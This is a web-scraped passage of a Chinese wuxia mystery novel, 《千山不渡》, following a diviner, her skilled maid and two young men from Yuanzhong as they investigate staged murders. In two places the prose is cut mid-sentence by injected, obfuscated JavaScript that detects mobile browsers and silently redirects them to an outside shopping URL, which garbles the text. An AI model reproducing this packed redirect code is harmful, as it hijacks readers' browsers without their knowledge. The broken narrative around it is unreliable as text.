《千山不渡》 1. 谜团诡谲死尸现 姣姣趴在窗沿上,用手指蘸了茶水,在桌上画圈。 桌边还有一堆磕完的瓜子皮。 她画了一个圈,又画了一个圈,画到第七个圈的时候,终于忍不住开口: “小姐,咱们在这儿坐了快一个时辰了,您那卦到底准不准啊?” 白衣女子低垂着眼眸,看着茶盏里漂浮的茶叶,神情淡然得像远山积雪。 “卦象显示,此地有遇。” “又是有遇……” 姣姣撇撇嘴,随手把那堆瓜子皮扫到地上,重新趴回桌上。 “上回你也这么说,结果遇上一群劫道的,害我赔了三两银子才打发走!” 江湖四域。 原终修法,法力滔天。 北疆锻体,肉身成圣。 东夷掌卦,万象在心。 南水毒医,死生同源。 * 东夷边境最大的茶楼,唤作“揽月楼”。 揽月楼三层木楼临街而立,檐角挂着些许褪色的青布幌子,被秋风扯得猎猎作响。 已是酉时三刻,天光渐暗。 二楼临窗的位置,坐着两名女子。 一位身着白袍,金线装饰,价值显然不菲,墨发用一根青玉簪盘起,低垂眼眸看着茶盏里漂浮的茶叶,神情淡然,仿若远山积雪。 腰间一柄长剑,剑鞘古朴,无任何纹饰,却隐隐有流光暗转。 旁桌几个江湖客偷偷打量她,低声议论:“瞧那剑……莫不是东夷来的?” “东夷人?听说他们善卦,神神叨叨的。” “嘘,小声些——” 白衣女子恍若未闻。 她身侧坐着个红衫少女,约莫十五六岁年纪,正趴在窗沿上,百无聊赖地用手指蘸了茶水,在木桌上画圈。 少女衣料乍看寻常,细瞧却是南水上好的云水缎,袖口绣着极精致的暗纹,腰间挂满各色香囊玉佩,佩戴银铃,走动时叮当作响。 “小姐。” 红衫少女忽然开口,声音清脆。 “咱们在这儿坐了快一个时辰了,您那卦到底准不准啊?” 白袍女子终于抬眸。 她目光扫过茶楼,在楼梯口停留一瞬,又移向窗外逐渐暗下来的街道。 “卦象显示,” 她声音平静,无波无澜。 “此地有遇。” “又是有遇……” 姣姣撇撇嘴,重新趴回桌上。 “上回你也这么说,结果遇上一群劫道的,害我赔了三两银子才打发走!” 一旁关注这两人的游侠们听见后都笑出了声。 笑的茶碗都有些拿不稳。 “看见没,东夷就是神叨,都不准。” 奕秋闻言,没接话。 她从袖中取出一枚龟甲,置于掌心,指尖轻点。 龟甲泛起微光,表面浮现细密纹路。 那群游侠的议论声更大了些:“瞧见没?起卦了!东夷人果真都是跳大神的!” 姣姣嘴角扬了几丝,看向旁边那桌游侠,玩味地瞥向自家小姐:“看见没,你们东夷人的口碑,啧啧啧。” 奕秋都还没有抬起头,便听见姣姣扭过头扯着嗓子喊。 “东夷可厉害了好嘛!什么跳大神!” 那是个满脸络腮胡的壮汉,被个半大姑娘当众怼了,顿时涨红脸:“小丫头片子懂什么!江湖上谁不知道东夷人装神弄鬼——” 话音未落。 奕秋手中龟甲光芒骤盛,化作一道流光,直射向茶楼西北角! 众人尚未反应过来,那道流光已没入墙角阴影。 一声闷哼。 阴影蠕动,竟缓缓站起一个人形…… 那是一具尸体。 尸体穿着普通商贩服饰,面色青黑,七窍渗血,显然已死多时。 姣姣投去目光,挑了挑眉毛。 “哟,南水的蚀骨缠?” “第三具了。” 奕秋收起龟甲,声音依旧平静。 茶楼里死寂片刻,随即炸开锅。 “死人!有死人!” “掌柜的!你们茶楼怎么回事!” “那伤口……冰霜剑痕,是原终法器的路数!” “胸口那掌……刚猛霸道,分明是北疆内力!” “还有毒……南水的蚀骨缠!” “竟然还把尸体放在东夷边界,这分明是把四大域惹了遍啊!” “就是,谁这么大的胆子?!虽然不清楚东夷,但是其他三大域主均是尊界三重以上的高手!” “尤其那位原终主,可是已经尊界四重了!真是前无古人后无来者。” “……” 混乱中,姣姣却眯起眼,盯着尸体脖颈处的剑痕看了半晌,忽然“啧”了一声。 “小姐,”她凑到奕秋耳边,压低声音,“这剑痕不对。” “冰霜只凝在表皮,法力压根没透进去。” “使剑的人要么学艺不精,要么——” “故意模仿。” 奕秋接话。 两人对视一眼。 姣姣咧嘴笑了,眼中闪过一丝与她年龄不符的玩味:“有意思。” “原终的剑,北疆的掌,南水的毒,全凑齐了。” “这是生怕别人不知道案子牵扯三大域啊。” 正说着,楼梯口传来脚步声。 两名年轻男子缓步上楼。 走在前面的那位,扎着利落的高马尾,一身墨绿劲装,腰间佩剑,剑鞘上刻着繁复的云纹。 他生得极俊,眉眼如画,偏左耳戴一枚赤金耳坠,坠子是小巧的麒麟首,随着步伐轻轻摇晃,平添几分秾丽。 身后那人则披散着长发,穿一袭淡紫色玄衣,衣料垂顺,行动间如水流动。 他眉眼温柔,尤其一双桃花眼,未语先含笑,目光扫过茶楼时,仿佛春风拂过,令人不自觉心生亲近。 两人气质出尘,一出现便吸引了众人目光。 墨绿劲装的男子扫了眼角落尸体,眉头微蹙,却没说什么,径自走向靠窗的空桌。 紫衣男子跟在他身后,经过奕秋那桌时,目光在她腰间长剑上停留一瞬,又落在姣姣身上,眼中掠过一丝探究。 两人落座,唤来小二点茶。 “原终的寒江剑,北疆的破山掌,南水的蚀骨缠。”墨绿男子开口,声音清朗,“姜亦,你怎么看?” 这位被唤作姜亦的紫衣男子,名叫闻人奚郁。 闻人奚郁微笑,并没有因为高马尾少年的玩笑而显得生气,他声音柔和:“尸体是幌子。” “真正的高手,怎么会留下如此明显的痕迹。” “万一这人是傻子呢?” 高马尾少年笑的张扬,左耳的耳坠因为动作而轻轻晃动。 “噗…姜亦。” 闻人奚郁轻笑,叫他名字。 “你真是够了。” 笑罢,闻人奚郁又道:“寒江剑若要杀人,冰霜该封住心脉,而非浮于表皮。破山掌若全力一击,胸骨该碎成骨粉,而非仅凹陷。至于蚀骨缠……” 闻人奚郁端起茶盏,轻嗅茶香,“此毒发作需半刻,中毒者会痛苦哀嚎。可你们看这茶楼,半个时辰前可有异动?” 姜亦的手指轻拨耳坠,露出一丝少年独有的笑意:“所以,是有人故意混淆视听。” “不止。”闻人奚郁看向奕秋那桌,压低声音,“比起这句尸体,我倒是更感兴趣那两个人。” 姜亦顺着闻人奚郁的目光看过去。 “那位白衣女子,是东夷人。她身边那婢女……” 闻人奚郁抿了一口茶叶。 “如何?”姜亦说。 “衣着是南水云水缎,腰佩有北疆狼牙、原终玉珏,香囊里透出的药香,混杂了至少十七种珍贵药材。”闻人奚郁眼中笑意深了些,“一个婢女,能穿云水缎,配三域信物,随身带着价值千金的药材……你说简不简单?” 姜亦闻言,多看了姣姣两眼。 闻人奚郁也向姣姣看去。 姣姣原本正百无聊赖地转着手里的茶杯。 闻人奚郁的目光扫过来时,她下意识抬眼,对上了那双含笑的眼睛。 桃花眼,微微弯着,像是春风拂过水面。 姣姣手里转着的茶杯,忽然停了一瞬,她的目光落在那件淡紫色玄衣上、然后移向那双温润含笑的桃花眼上。 姣姣挑了挑眉。 只见淡紫色玄衣那人已经落座,正在跟身边的墨绿少年低声说话。他的侧脸在烛光下显得格外柔和,睫毛很长,投下一小片阴影。 姣姣盯着那片阴影看了两息,然后看向那位墨绿少年。 那个张扬的、秾丽的、左耳戴着赤金坠子的少年。 他坐在那里,姿态随意,但周身的气息藏都藏不住。 姣姣的目光一直没有移开,茶杯在左手里摇晃。 “小姐。” “那两个人,长的真好看。” 奕秋的余光扫了过来。 只见姣姣正看的津津有味,嘴角挂着一层笑意。 “这趟真没白来。”姣姣也不看奕秋什么表情,自顾自嘀咕。 恰在此时,茶楼门口传来喧嚣。 七八个彪形大汉闯了进来,为首的是个满脸横肉的疤脸汉子,敞着胸膛,露出浓密的胸毛。 “不就是个死人,吵嚷什么。”为首那人语气有些不耐烦。 然后他目光扫过茶楼,最后定格在奕秋身上,眼中闪过淫邪之色。 “哟,这哪儿来的小娘子,长得可真水灵。”疤脸汉子咧嘴笑,露出黄牙,“一个人喝茶多寂寞,哥哥陪你喝两杯?” 他身后那群汉子哄笑。 茶楼里其他客人见状,纷纷低头,不敢作声。有认出疤脸汉子的,低声惊呼:“是开山虎雷彪!他、他可是五道一重的高手!” “五道?!这等人物怎么会来听风镇……” 雷彪听见议论,更是得意,大摇大摆走向奕秋那桌。 奕秋连眼皮都没抬。 倒是姣姣,慢悠悠坐直身子,打了个哈欠。 “喂,”她声音懒散,“这位……虎哥是吧?我家小姐不喜欢被人打扰,您请回吧。” 雷彪一愣,随即大笑:“小丫头片子,也敢跟老子这么说话?你知道老子是谁吗?” “知道啊,”姣姣掰着手指,“开山虎雷彪,五道一重,擅使开山斧,三年前在落雁山一人挑了黑风寨,去年在青州城打伤了太守公子,今年三月……” 她如数家珍般报出雷彪的“战绩”,最后歪头一笑:“对了,你左肋下三寸有处旧伤,每逢阴雨天就隐隐作痛,对吧?” 雷彪脸色骤变。 那处旧伤是他最大的秘密,当年被仇家暗算所致,从未对外人提起! 姣姣眼中含笑,反而看向奕秋:“这都是我家小姐算出来的,怕了吧~” 奕秋终于抬眸,看了雷彪一眼,又垂下眼睑。 雷彪勃然大怒:“装神弄鬼,找死!” 他周身气息轰然爆发!五道一重的威压如潮水般扩散,茶楼里杯盘震颤,修为低些的江湖客直接被压得喘不过气,脸色发白。 “五、五道的气息!” “开山虎动真格了!” “那小姑娘完了……” 议论声中,雷彪已一掌拍向姣姣面门!掌风凌厉,带起呼啸之声,这一掌若是拍实了,便是铁石也要碎裂! 姜亦和闻人奚郁同时皱眉,姜亦手指按上剑柄,闻人奚郁却轻轻摇头,示意他稍安勿躁。 因为。 姣姣动了。 她从座位上起身,右手摆出防御架势,另一只手伸向腰间药包,动作迅速。 雷彪猛地被她撒出的粉末所治,动作迟疑,下一秒姣姣找准间隙,右腿一旋,勾住体型比她大了不知道几倍的壮汉,腰部发力—— “呃啊——!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437465|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雷彪惨叫一声,整个人如断线风筝般飞出去,撞翻两张桌子,重重摔在地上。 茶楼死寂。 大部分人修炼,十几岁能入二道就是少见,五十岁前能入四道就是刻苦,入五道的人,已是江湖中响当当的人物。 所有人都瞪大眼睛,不敢相信自己看到了什么。 眼前这个小姑娘,身上竟然发散着五道四重的威压! 五道四重有个响亮的名字。 近尊。 姣姣收回手指,吹了吹指尖并不存在的灰尘,撇嘴:“五道一重就这水平?我还以为多厉害呢。” 她站起身,走到趴在地上抽搐的雷彪面前,蹲下,笑眯眯地说:“虎哥,以后嚣张前先掂量掂量自己几斤几两。” “还有你那旧伤,回去用这些药材,连服三个月,能好个大半。” 说完,她把药方团成团,扔给雷彪,拍拍手,走回座位,重新趴回桌上,仿佛刚才只是随手赶走了一只苍蝇。 茶楼里静得落针可闻。 半晌,有人颤抖着开口:“她、她刚才那一下……至少是五道四重!” “五道四重?!她才多大?!” “看着也就十五六岁……十五六岁的近尊?!” “我的天……这天赋……” 议论声如潮水般涌起,所有人都用敬畏、震惊、不可思议的目光看向姣姣。 而姣姣本人,正戳着奕秋的袖子,小声抱怨:“小姐,我手指头有点麻,那家伙皮真厚。” 奕秋瞥她一眼:“活该。” “诶你怎么这样!我可是为了保护你!” “我需要你保护?” “……不需要。” 姣姣蔫了,趴回桌上装死。 姜亦和闻人奚郁对视一眼,都看到彼此眼中的深意。 “五道四重,”姜亦低声,却好像话里有话,倒是有种自夸的意味,“这般年纪,这般修为……整个江湖也找不出几个。” “不止。”闻人奚郁没有理会,目光落在姣姣腰间那些香囊玉佩上,“她的身份,恐怕比我们想象的更复杂。” 正说着,茶楼外忽然传来急促的脚步声。 一名捕快打扮的中年男子冲上楼,气喘吁吁,目光扫过众人,最后定格在角落那具尸体上,脸色顿时惨白。 “又、又是一具……”他喃喃自语,随即想起什么,急忙从怀中掏出一封公文,高举过顶,“奉县令大人之命!此案涉及江湖仇杀,非常人可解!若有侠士能协助破案,官府愿出黄金百两为酬!” 话音落,茶楼里却无人应声。 开玩笑,这案子牵扯四大域,现场还留了具诡异的尸体,谁愿意蹚这浑水? 捕快见状,额头冒汗,正要再喊,却听一个清脆的声音响起: “黄金百两?” 姣姣眼睛亮了,蹭地站起来:“当真?” 捕快连忙点头:“千真万确!” 姣姣扭头拽奕秋袖子:“小姐小姐,一百两黄金!够咱们吃喝玩乐好久了!” 奕秋沉默片刻,看向捕快:“卷宗。” 捕快一愣:“什、什么?” “案件的卷宗,前两起案件的记录,现场勘查详情,尸格单。” 奕秋声音平静。 “我要看。” “这……”捕快犹豫,“那些都是官府机密……” “不给看算了。”姣姣笑着接话,“小姐咱们走,这浑水不蹚了。” “等等!”捕快咬牙,“我给!我这就去取!” 他匆匆下楼。 茶楼里再次议论起来。 “她们要接这案子?” “东夷人查案……靠算命吗?” “你没看见那婢女多厉害?五道四重!说不定真能查出来……” 角落里,姜亦抿了口茶,忽然开口:“你怎么看?” 闻人奚郁微笑:“案子有趣,人也有趣。不妨……看看?” 姜亦没说话,手指轻抚剑鞘,眼中闪过一丝兴味。 一刻钟后,捕快抱着厚厚一摞卷宗回来,恭恭敬敬放在奕秋面前。 奕秋翻开第一页。 姣姣只扫了几眼,就皱起眉:“第一具尸体在城南破庙,第二具在城西水井,这是第三具……死亡时间都在子时前后,尸体都被摆成盘坐姿势,面朝东方。” 她抬头看奕秋:“小姐,这摆明了是仪式啊。” 奕秋没说话,继续翻看。 卷宗记载得很详细,包括伤口形状、毒素成分、甚至周围环境的异常——比如第一案发现场有烧焦的符纸残留,第二处水井旁有奇特的脚印。 看到某一页时,奕秋指尖顿了顿。 “这里,”她指着一行小字,“第一具尸体脖颈剑痕处,发现微量玉屑。” “玉屑?”姣姣挑眉,“剑上镶玉?那可不常见。” “寒江剑的制式长剑,剑格处通常会嵌一枚白玉。” 姜亦的声音忽然响起。 众人转头,见他不知何时已走到桌旁,正看着卷宗。 闻人奚郁跟在他身侧,温声补充:“原终喜玉,许多剑客喜欢在佩剑上装饰玉石。但若是镶玉的剑,剑格处的玉石通常质地坚硬,不易脱落。” “除非,”奕秋接话,“那枚玉本身就有裂痕,或者在激烈打斗中被外力震碎。” 姣姣懒散地把腿搭在一旁的凳子上,没一点女孩形象:“所以,使剑的人,用的是一柄剑格镶玉、且玉石有损的长剑?” “可能。”奕秋合上卷宗,看向捕快,“前两具尸体可还在?” “在、在义庄。” “带路。” 奕秋起身,姣姣立刻跟上。 姜亦和闻人奚郁对视一眼,也迈步跟上。 捕快愣了一下:“二位公子也……” “好奇罢了。”闻人奚郁微笑,“不会妨碍你们查案。” 捕快不敢多问,只好在前面带路。 2. 寒玉聚侠义庄案 义庄在听风镇西郊,孤零零一座灰瓦院子,四周栽着半枯的槐树。 秋风卷过,枝丫簌簌作响,平添几分阴森。 捕快引着四人穿过破败的木门,院中停着三具覆着白布的尸身。空气里弥漫着浓重的石灰和草药味,混着一丝若有若无的腐臭。 “就、就是这儿了。”捕快声音发颤,不敢上前。 奕秋径直走向第一具尸体,掀开白布。 尸身是个中年男子,面容扭曲,七窍渗出的血迹已呈紫黑色。脖颈处一道剑痕,与茶楼那具如出一辙——冰霜覆于表皮,内里筋肉完好。 姣姣凑过来,鼻尖轻嗅:“蚀骨缠,没错。但这毒里……” 她眉头微蹙,从腰间香囊里取出银针,在伤口处轻轻一刮,针尖沾了些许紫黑色粉末。 她将银针举到眼前,借着昏暗的天光细看。 “地火霜花。” 姣姣声音笃定。 “南水蚀骨缠原本用‘阴冥草’做引,这人却用了原终北境特产的地火霜花。药性更烈,发作更快——但只有原终丹师才习惯这么替换。” 她说着,瞥了眼姜亦。 姜亦正俯身查看尸体胸口的掌印,闻言动作微顿,却没抬头。 闻人奚郁站在他身侧,问道:“看出什么了?” “掌印深一寸三分,边缘有灼烧痕迹。” 姜亦指尖虚悬在掌印上方。 “破山掌刚猛霸道,若全力施为,该是骨碎筋折,灼痕均匀。可这灼痕……只在掌心发力点最重,向四周扩散时渐弱。” 他直起身,看向奕秋:“像不像法力运转滞涩,强行催动所致?” 奕秋没答,却走到第二具尸体前,掀开白布。 这具尸身更惨烈些——胸口凹陷,肋骨断裂处刺破皮肤,白森森地露在外头。 但诡异的是,断裂面异常平整,像是被什么利器整齐切开,而非掌力震碎。 “这不是掌力。”姣姣蹲下来,用手指虚量伤口尺寸,“是刀。宽背厚刃的砍刀,一刀斩断肋骨,再用手掌按上去,做出掌印的模样。” 她说着,忽然笑了:“生怕别人看不出是伪造的?” “未必。”闻人奚郁缓步走来,目光落在尸体手指间,“你们看这里。” 众人看去,只见死者右手食指与中指缝隙里,嵌着几粒极细微的、泛着莹润白光的碎屑。 奕秋用龟甲轻触碎屑,碎屑表面泛起微光。 “玉。”她道,“与茶楼尸体伤口处发现的,同源。” “冰心玉。”姜亦忽然开口,声音低沉,“原终皇室特供玉料,质地坚脆,色泽如冰。寻常玉匠碰不得,只有宫内匠作监几位老匠人能打磨。” 他顿了顿,补了一句:“我故乡……原终皇城,有这样的玉。” 捕快在一旁听得脸色发白,颤声道:“几、几位侠士……这案子,莫非真和原终皇室有关?” 没人接话。 院子里只剩下风吹槐叶的沙沙声。 良久,闻人奚郁轻叹一声:“伪造三域手法,却处处留下原终的痕迹——玉屑、药引、发力习惯。这不是栽赃,这是生怕别人不知道,此事与原终有关。” “或者说,”姜亦接话,目光扫过三具尸体,“是生怕别人不知道,此事与原终内部某些人有关。” 捕快“扑通”一声跪下了。 “几位大侠!这案子小人办不了,县令大人也办不了!”他磕头如捣蒜,“求几位发发慈悲,接手到底!黄金百两……不,二百两!衙门愿出二百两黄金,只求将此案查个水落石出,莫要牵连听风镇无辜百姓啊!” 姣姣眼睛一亮:“二百两?” 捕快连连点头。 姣姣扭头拽奕秋袖子:“小姐,二百两!够咱们买多少桂花糕了!” 奕秋瞥她一眼,没说话,却看向姜亦。 姜亦沉默片刻,道:“我来自原终。此事既牵扯故乡,我无法坐视。” 他顿了顿,挑眉看向闻人奚郁。 闻人奚郁微笑,桃花眼弯成一个好看的弧度,莞尔道:“我左右无事,看场热闹也无妨。” 两人目光交汇一瞬。 姜亦眼底闪过一丝不明的意味。 闻人奚郁轻轻点头,移开了目光。 “那就这么定了。”姣姣一拍手,笑靥如花,“二百两黄金,四个人分——小姐,咱们接!” 奕秋终于开口,声音依旧平静无波:“因果已缠,便需了结。” 话音刚落—— 义庄的门被人一脚踹开! 所有人都回头看去。 门口站着三个人。 为首的是个五十来岁的老者,一身灰袍,面容阴鸷,目光如鹰隼般扫过院中四人。 他身后跟着两个年轻人,都是二十出头,腰间悬刀,气息沉稳。那两人往那儿一站,周身便有淡淡的杀气流露——不是普通的护院,是真正见过血的。 捕快看见来人,脸色瞬间惨白,整个人像被抽了骨头似的软在地上。 “周、周管家?!” 老者没理他,目光在四人身上转了一圈,最后落在姜亦身上,上下打量。 “听说有人接了这案子?”他声音沙哑,像砂纸磨过铁器,“就是你们几个?” 姣姣歪头看他,有些鄙夷:“你谁啊?大半夜的,踹门进来,这门不要钱修的?” 老者冷笑一声,根本没把她放在眼里。 “老夫姓周,城北周府的管家。”他抬起下巴,居高临下,“我家主人说了,这案子,你们不许查。” “你家主人?”姣姣眨眨眼,还是一脸无辜,“谁啊?这么大的口气?原终主吗?” 老者脸色一僵。 姜亦笑出了声。 闻人奚郁摇着折扇,笑眯眯地看着这一幕。 老者深吸一口气,从袖中取出一块令牌,随手扔在地上。 令牌落在青石板上,发出一声脆响。 上面刻着一个“周”字,边缘镶着银丝,在月光下泛着冷冷的光。 “认得这个字吗?”老者盯着姣姣。 姣姣低头看了一眼,然后抬起头,还是那种不在意的语气。 “周?周什么周?周扒皮的周?” “你——” 老者身后的两个年轻人同时往前一步,手已经按上刀柄。 姜亦的手也落到了剑鞘上。 气氛瞬间凝固。 闻人奚郁依旧摇着折扇,笑眯眯的,但那折扇摇得慢了一些。 奕秋站在原地,一动不动,目光低垂,仿佛这一切跟她没关系。 老者抬手,止住那两个年轻人。 他看向姜亦,眼神阴冷。 “年轻人,老夫看你是个聪明人。”他放缓了语气,却更阴了几分,“这趟浑水,不该蹚的别蹚。有些事,知道了没好处。有些案子,查了会死人。” 姜亦看着他,没说话。 姣姣忽然笑了。 她蹲下去,捡起那块令牌,在手里颠了颠。 “周府的令牌啊……”她拉长声音,仔细端详着上面的纹路,“这银丝镶得不错,值个几两银子吧?” 老者脸色一变。 “你敢——” 话音未落,姣姣手腕一翻。 令牌脱手飞出—— “嗖!” 一道黑影擦着老者的脸颊掠过,带起一阵劲风。 “啪!” 令牌钉在他身后的门框上,入木三分,尾部还在微微震颤。 老者脸上,一道细细的血痕缓缓渗出血珠。 他愣在原地,伸手摸了摸脸颊,看着指尖的血,整个人像是被人点了穴。 那两个年轻人脸色大变,同时拔刀—— “锵!” 剑光亮起。 姜亦不知何时已经拔出长剑,剑尖指着其中一人的咽喉。 那人僵在原地,刀举在半空,不敢动。 另一个人刚往前迈了一步,忽然觉得脚下一软,低头一看。 脚边不知什么时候多了一小撮粉末,正在滋滋作响,石板都被腐蚀出一个个小坑。 他猛地抬头,看向姣姣。 姣姣正笑眯眯地看着他,手里还捏着一个小瓷瓶。 “动啊。”她说,“动一下试试。” 那人脸色惨白,一动不敢动。 院子里安静得可怕。 只有夜风吹过槐叶的沙沙声。 闻人奚郁摇着折扇,看着这一幕,笑得眼睛都弯了。 “姣姣姑娘,”他慢悠悠地说,“你这手法,越来越熟练了。” 姣姣回头冲他眨眨眼:“那是。” 她走到老者面前,仰头看着他。 老者比她高一个头,但此刻看着她,却不由自主往后退了一步。 “你、你要干什么?” 姣姣笑眯眯的。 “周管家是吧?”她说,“你刚才说,这案子不许查?” 老者咽了口唾沫,没说话。 姣姣拍了拍他的肩膀,像在安慰一个老朋友。 “周管家,你回去告诉你家主人——这案子,我们查定了。” 她顿了顿,笑容更深。 “还有,下次派人来,多派几个。一个管家带两个打手,不够看的。” 老者脸色铁青,却一个字都说不出来。 姣姣回头看了一眼门框上那块令牌。 “对了,令牌还你了。记得拿回去,挺值钱的。” 她走回奕秋身边,伸了个懒腰。 “小姐,咱们走吧,这儿阴气重,待久了容易做噩梦。” 奕秋看了她一眼,什么都没说,转身往外走。 姜亦收剑,跟着往外走。 闻人奚郁摇着折扇,走在最后。 经过老者身边时,他忽然停下,笑眯眯地看了他一眼。 “周管家。” 老者抬头看他。 闻人奚郁弯下腰,凑到他耳边,压低声音说了一句什么。 老者脸色骤变,瞳孔猛地收缩。 闻人奚郁直起身,笑了笑,摇着折扇走了。 四人消失在夜色中。 老者站在原地,浑身发抖。 那两个年轻人跑过来。 “管家,您没事吧?” “他、他跟您说了什么?” 老者嘴唇发抖,一个字都说不出来。 过了很久,他才挤出一句: “走……回去……” 三人消失在夜色里。 门框上,那块令牌还在那里,在月光下泛着冷冷的光。 * 义庄外,官道上。 捕快跟在四人身后,腿还在抖。 “各、各位大侠……刚才那个周管家……他、他不会报复你们吗?” 姣姣回头看他,笑了。 “报复我们?”她指了指自己,又指了指姜亦,“你知道他什么境界吗?” 捕快摇头。 姣姣又指了指奕秋。 “你知道她什么境界吗?” 捕快还是摇头。 姣姣拍了拍他的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437466|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀。 “所以啊,别担心。要担心的是他们。” 捕快愣愣地看着她,不知道该说什么。 走了一会儿,姜亦忽然开口。 “姣姣姑娘。” “嗯?” “那块令牌,你扔得挺准。” 姣姣眨眨眼。 “扔石子扔多了,自然就准了。” 姜亦看她一眼,没再问。 闻人奚郁在旁边轻笑。 “姣姣姑娘,”他说,“你刚才那一下,至少三十步开外吧?” “差不多。” “手法这么好,扔石子就能练出来?” 姣姣想了想。 “对呀。”姣姣一本正经地说,“小时候没事干,就扔石子玩。扔着扔着就准了。” 闻人奚郁摇着折扇,笑眯眯的,没再问。 姜亦走在一旁,忽然想起什么。 “你刚才那把粉末,是什么毒?” “不是毒。”姣姣说,“就是普通的化金石粉,腐蚀性还行,吓唬人用的。” 姜亦愣了一下。 “你拿化金石粉吓唬人?” “怎么,不行吗?”姣姣理直气壮,“反正他又不敢动,我拿什么吓唬都行。” 姜亦沉默了一会儿,忽然笑了。 那笑容很轻,但确实是在笑。 闻人奚郁看着他,眼底闪过一丝深意。 奕秋走在最前面,白衣在夜风里轻轻拂动。 她忽然开口。 “有人跟了一路了。” 众人脚步一顿。 姜亦手按上剑柄。 姣姣眯起眼。 闻人奚郁依旧摇着折扇,笑眯眯的。 奕秋没有回头。 “三里外,五人,修为最高五道三重。”她声音平静,“从茶楼跟出来的。” 姣姣啧了一声。 “真是阴魂不散。” 姜亦看向她:“要处理吗?” 姣姣想了想。 “不用。”她说,“让他们跟。到了原终地界,自有人处理。” 她回头看了一眼夜色深处,咧嘴一笑。 “到时候,看看是谁处理谁。” 四人继续往前走。 夜风刮过官道,吹动路旁的枯草。 身后,三里外的树林里。 五道黑影隐在暗处。 为首那人打了个手势。 “继续跟。” “头儿,那个白衣女子……她好像发现我们了。” “发现又如何?”首领冷笑,“到了原终地界,是龙得盘着,是虎得卧着。继续监视,有任何异动,立刻回报。” “是。” 黑影散去,融入夜色。 * 一个时辰后,四人回到听风镇。 县令亲自等在镇口,满头大汗,见他们回来,连忙迎上来。 “几位大侠!几位大侠辛苦了!” 他捧着一沓盖了官印的文书,往闻人奚郁手里塞。 “这、这是案件的卷宗、尸格单、还有小官整理的线索摘要……几位大侠看看,还需要什么,尽管开口!” 闻人奚郁接过,翻开看了看,点了点头。 “县令大人有心了。” 县令连连摆手,又从袖中摸出一小袋金锭,双手奉上。 “这是定金,五十两。剩下的,案子破了之后,一定补齐!” 姣姣眼睛一亮,伸手就要接。 奕秋瞥了她一眼。 姣姣的手僵在半空,讪讪地缩回去。 闻人奚郁笑着接过金锭。 “多谢县令大人。” 县令连连点头,又问道:“几位大侠接下来打算去哪儿?” 姜亦开口:“皇城。” 县令愣了一下,然后恍然大悟。 “皇城……对对对,这案子,确实得去皇城查……” 他想了想,又说:“几位大侠,此去皇城路途遥远,不如坐衙门的马车?又快又稳,还不用花钱。” 姣姣眼睛又亮了。 “免费?” “免费免费!” “那敢情好!” 县令连忙吩咐下去,不一会儿,一辆宽敞的马车停在镇口。 车厢里铺着软垫,中间固定着一张木桌,桌上还放着几碟点心。 姣姣第一个跳上去,一屁股坐在软垫上,抓起一块点心就往嘴里塞。 “唔,好吃!” 姜亦和闻人奚郁随后上车。 奕秋最后一个上车,坐在靠窗的位置,闭目养神。 马车驶出听风镇,驶向夜色深处。 车厢里,姣姣嗑着瓜子,忽然开口。 “姜大侠,闻人公子,你们说,那个周管家背后的人,到底是谁?” 闻人奚郁摇着折扇,笑眯眯地说:“周库吏的人,当然是周库吏。” “那周库吏背后呢?” 闻人奚郁没答,看向姜亦。 姜亦沉默了一会儿,说:“长公主。” 车厢里安静了一瞬。 姣姣嗑瓜子的动作停了。 “长公主?原终那个长公主?” 姜亦点头。 姣姣啧了一声。 “这案子,越查越大了啊。” 她看了一眼奕秋。 奕秋依旧闭着眼,什么都没说。 姣姣收回目光,继续嗑瓜子。 马车辘辘,驶向远方。 夜色里,四个人的影子在车厢里交叠在一起。 3. 风云暗涌侠客行 车厢里很宽敞,铺着软垫,中间固定着一张小木桌。 四人对坐,一时无话。 姣姣率先打破沉默。 红衫袖口滑落,露出一截白皙手腕,腕上套着个银铃铛,随着动作轻轻作响。 “喂,”她吐掉瓜子壳,看向对面,“你们俩,真叫姜亦、闻人奚郁?” 姜亦正低头擦拭剑鞘,闻言抬眼:“真名。” “哪儿的人啊?” “原终。”姜亦答得简短,语气带着少年人的傲娇气。 “原终哪儿?” “皇城。” 姣姣嘴角勾起,又看向闻人奚郁身上的衣服料子:“皇城来的公子哥儿,跑这边境小镇做什么?” 姜亦擦拭剑鞘的动作顿了顿,没答。 闻人奚郁笑着接话:“游历。” “读万卷书不如行万里路,总待在皇城,眼界难免狭隘。” 他说着,目光落在姣姣腰间那些香囊玉佩上,“倒是姣姣姑娘,云水缎的衣裳,北疆狼牙,原终玉珏——游历的地方,似乎比我们多得多?” “那是!”姣姣得意地扬了扬下巴,“我跟我家小姐走南闯北,哪儿没去过?南水的沼泽、北疆的雪山、原终的城池……哎,不过东夷倒没怎么进,我家小姐说那儿规矩多,没意思。” 奕秋闭目养神,仿佛没听见。 闻人奚郁笑意更深:“还未请教,奕秋姑娘是东夷何处人士?” “边境。”奕秋眼都没睁。 “师承?” “自学。” “东夷善卦,姑娘的卦术,看来已臻化境。” “尚可。” 一问一答,闻人奚郁问得温雅,奕秋答得冷淡。 气氛却不觉尴尬,反而有种奇特的张力,像在下一盘无声的棋,彼此试探落子。 姜亦忽然开口:“姣姣姑娘方才说,你擅长医毒?” “对啊。”姣姣嗑瓜子的动作没停,“治病救人,下毒杀人,都略懂一二。怎么,姜公子有伤要治?” 